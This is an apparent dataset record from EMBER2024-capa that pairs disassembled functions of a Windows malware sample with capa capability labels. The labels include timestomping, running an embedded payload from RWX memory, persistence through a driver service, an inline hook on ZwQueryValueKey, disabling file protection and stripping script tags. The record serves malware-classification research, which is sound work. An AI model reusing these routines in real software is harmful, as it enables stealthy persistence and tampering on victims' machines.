joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402aee
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
and dword [ebp - 0x130], 0
and dword [ebp - 0x12c], 0
push 0x128
push 0
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x128], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32First
cmp dword [ebp + 0x10], 1
jne 0x402b5d
lea eax, [ebp - 0x128]
push eax
call fcn.00402239
jmp 0x402c1b
cmp dword [ebp + 0x10], 2
jne 0x402bde
mov eax, dword [ebp + 8]
mov dword [ebp - 0x134], eax
and dword [ebp - 0x138], 0
mov eax, dword [ebp - 0x134]
movsx eax, byte [eax]
test eax, eax
je 0x402bdc
push dword [ebp - 0x134]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402bbe
push 0
lea eax, [ebp - 0x138]
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x120]
push eax
push 0x222418
push dword [0x413cec]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x134]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x134], eax
jmp 0x402b73
jmp 0x402c1b
cmp dword [ebp + 0x10], 3
jne 0x402bf3
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
jmp 0x402c1b
cmp dword [ebp + 0x10], 4
jne 0x402c1b
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402c1b
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x130], eax
jmp 0x402c35
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402b46
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret 0xc

Function at 0x402db5
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0xffffffff
jne 0x402dcf
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402e3b
cmp dword [ebp + 0x10], 0
jne 0x402e0b
push 0x18
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x402e06
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402e3b
cmp dword [ebp + 0x10], 1
jne 0x402e38
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x402e33
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402e3b
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x402f1c
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 1
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push 0x4106e8
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x3000
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push dword [ebp - 0x14]
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp - 0xc]
push dword [eax]
mov eax, dword [ebp - 4]
sub eax, 4
push eax
mov eax, dword [ebp - 0xc]
add eax, 4
push eax
call fcn.00402380
mov eax, dword [ebp - 0xc]
mov dword [eax], 0x905a4d
push 0
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.004012ef
mov dword [ebp - 8], eax
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x4033ee
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
and dword [ebp - 0x14], 0
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x403483
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0xc], 0
jbe 0x403455
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x14], 0
je 0x403463
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
cmp dword [ebp + 0x10], 0
je 0x40347a
mov eax, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [ebp - 0x64], eax
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [ebp - 0x64]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
leave
ret 0x10
Function at 0x403721
Capabilities:
Delete file
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
or dword [ebp - 8], 0xffffffff
and dword [ebp - 0x10], 0
and dword [ebp - 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xc], eax
push 0
push 0x20000000
push 3
push 0
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x403783
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, dword [ebp + 0x10]
jne 0x40377a
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4037d4
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x14], 1
jne 0x4037ae
cmp dword [0x415b5c], 5
ja 0x4037ae
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
push 5
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 4]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012ef
cmp dword [ebp - 0x10], 0
je 0x4037d4
push dword [ebp - 0x10]
call dword [ebp - 0xc]
leave
ret 0x10
Function at 0x40440c
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
and dword [ebp - 0x4c], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
call fcn.0040246e
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
push str._.8X
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push 0x415a50
push str._s_s.sys
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 1
push 2
push 1
push 0xf01ff
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
push 0x65
push dword [0x416990]
lea eax, [ebp - 0x158]
push eax
call fcn.00402f1c
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x14
call fcn.004043ae
leave
ret
Function at 0x405fe8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
jne 0x40600e
push 5
push 0x415f34
push dword [0x4169b0]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x406084
cmp dword [0x4169b0], 0
jne 0x406063
and dword [ebp - 8], 0
push str.ZwQueryValueKey
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4169b0], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 0x400
push dword [0x4169b0]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 5
push dword [0x4169b0]
push 0x415f34
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [0x4169b0]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov byte [eax], 0xe9
mov eax, dword [ebp - 4]
add eax, 5
mov ecx, 0x405f1f
sub ecx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 1], ecx
leave
ret 4

Function at 0x406364
Capabilities:
Get networking parameters

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
and dword [ebp - 0x14], 0
and dword [ebp - 8], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0xc], 0
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x10], 0x248
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4063b7
jmp 0x406489
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
call sub.IPHLPAPI.DLL_GetNetworkParams
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4063ff
cmp dword [ebp - 0xc], 0x6f
jne 0x4063f5
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x406395
jmp 0x406489
mov eax, dword [ebp - 8]
cmp dword [eax + 0x108], 0
je 0x40642d
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x108]
movsx eax, byte [eax + 4]
test eax, eax
je 0x40642d
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x108]
add eax, 4
mov dword [ebp - 0x14], eax
jmp 0x406462
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 8]
add eax, 0x10c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x406462
mov eax, dword [ebp - 0x18]
movsx eax, byte [eax + 4]
test eax, eax
je 0x406458
mov eax, dword [ebp - 0x18]
add eax, 4
mov dword [ebp - 0x14], eax
jmp 0x406462
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
jmp 0x40643c
cmp dword [ebp - 0x14], 0
je 0x406489
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
jl 0x406489
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 4], 1
cmp dword [ebp - 8], 0
je 0x40649e
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x4074c0
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0x14], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 8], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
push 0
push 0x80
push 3
push 0
push 0
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x407512
cmp dword [ebp - 8], 0xffffffff
jne 0x407516
jmp 0x40758f
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 8]
jb 0x407555
jmp 0x40758f
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0
jl 0x407567
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 1
jle 0x40756b
jmp 0x40758f
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
add eax, 0x28
push eax
mov eax, dword [ebp - 0xc]
add eax, 4
push eax
call fcn.004080ae
mov ecx, dword [ebp - 0xc]
cmp eax, dword [ecx]
jne 0x40758f
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
jne 0x4075b9
cmp dword [ebp - 0xc], 0
je 0x4075ae
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
and dword [ebp - 0xc], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4075c8
cmp dword [ebp + 0xc], 1
jne 0x4075c8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x407a9e
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
and dword [ebp - 0x1dc], 0
mov dword [ebp - 0x194], 1
and dword [ebp - 0x1e0], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x407b11
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x1dc], eax
push dword [ebp - 0x1dc]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jne 0x407b3d
and dword [ebp - 0x194], 0
jmp 0x407caa
push 4
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x1e4], 0
jmp 0x407b62
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
cmp dword [eax + ecx*4], 0
je 0x407caa
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp + 0x10], 1
jne 0x407c30
cmp dword [ebp - 0x1ec], 0xc0
jne 0x407bd0
cmp dword [ebp - 0x1e8], 0xa8
je 0x407c0f
cmp dword [ebp - 0x1ec], 0xa9
jne 0x407be8
cmp dword [ebp - 0x1e8], 0xfe
je 0x407c0f
cmp dword [ebp - 0x1ec], 0xac
jne 0x407bfd
cmp dword [ebp - 0x1e8], 0x10
je 0x407c0f
cmp dword [ebp - 0x1ec], 0xa
je 0x407c0f
cmp dword [ebp - 0x1ec], 0x7f
jne 0x407c30
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x407caa
cmp dword [ebp + 0x10], 2
jne 0x407ca5
cmp dword [ebp - 0x1ec], 0xc0
je 0x407ca5
cmp dword [ebp - 0x1e8], 0xa8
je 0x407ca5
cmp dword [ebp - 0x1ec], 0xa9
je 0x407ca5
cmp dword [ebp - 0x1e8], 0xfe
je 0x407ca5
cmp dword [ebp - 0x1ec], 0xac
je 0x407ca5
cmp dword [ebp - 0x1e8], 0x10
je 0x407ca5
cmp dword [ebp - 0x1ec], 0xa
je 0x407ca5
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x407caa
jmp 0x407b55
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x407cba
mov eax, dword [ebp + 8]
cmp dword [eax], 0xffffffff
jne 0x407cc1
and dword [ebp - 0x194], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
leave
ret 0xc
Function at 0x407cd1
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [ebp + 0xc], 0
je 0x407d73
and dword [ebp - 0x1c], 0
mov dword [ebp - 8], sub.MSVCRT.dll_memset
push 0x44
push 0
lea eax, [ebp - 0x68]
push eax
call dword [ebp - 8]
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x18]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x60], str.winsta0default
push 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push dword [ebp - 0x1c]
push 0x4000400
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov dword [ebp - 4], eax
push dword [ebp - 0x1c]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
cmp dword [ebp - 4], 1
jne 0x407d73
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407d81
push 0
push 0
push 0
push dword [ebp + 8]
call fcn.004033ee
leave
ret 8

Function at 0x4080ae
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
or dword [ebp - 4], 0xffffffff
and dword [ebp - 8], 0
jne 0x408133
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
and dword [ebp - 0xc], 0
jmp 0x4080df
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x100
jge 0x408133
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 8
jmp 0x4080fe
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x408125
mov eax, dword [ebp - 0x10]
and eax, 1
je 0x40811b
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0x10], eax
jmp 0x408123
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
jmp 0x4080f7
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + eax*4], edx
jmp 0x4080d8
and dword [ebp - 0x18], 0
jmp 0x408140
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
jae 0x408179
and dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x408139
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x408196
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x40819d
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0x1c], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
and dword [ebp - 8], 0
and dword [ebp - 0x18], 0
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4081ed
jmp 0x4082aa
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x408232
jmp 0x4082aa
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.00402380
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.004080ae
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax]
je 0x408271
jmp 0x4082aa
mov dword [ebp - 0x1c], 1
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movsx eax, byte [eax - 1]
cmp eax, 0x31
jne 0x4082aa
push 0x20
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
push 0x41656c
call sub.MSVCRT.dll_memcpy
add esp, 0xc
cmp dword [ebp - 0xc], 0
je 0x4082b9
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 4], 0
je 0x4082c8
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0xffffffff
je 0x4082d7
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
leave
ret 4
Function at 0x409a9c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0xc], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x80
push 0x84
push 0
lea eax, [ebp - 0x98]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x9c]
jbe 0x409b05
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x9c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x98]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
and dword [ebp - 8], 0
push str._script
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409c26
and dword [ebp - 0xa0], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0xa0], eax
push str._script
mov eax, dword [ebp - 8]
add eax, 8
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x409b72
jmp 0x409b74
jmp 0x409b4a
push 0x84
push 0
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [0x415930]
mov eax, dword [eax + 0x1358]
inc eax
push eax
push dword [ebp - 0xa0]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [0x415930]
add eax, 0x135c
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x409bca
xor eax, eax
jmp 0x409c29
push str.__script_
push dword [ebp - 0xa0]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409c26
mov eax, dword [ebp - 8]
add eax, 9
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 2
jg 0x409c26
push 2
push 0
mov eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x98]
sub eax, ecx
mov ecx, dword [ebp - 0xc]
sub ecx, eax
xor eax, eax
sub eax, ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
inc eax
leave
ret 4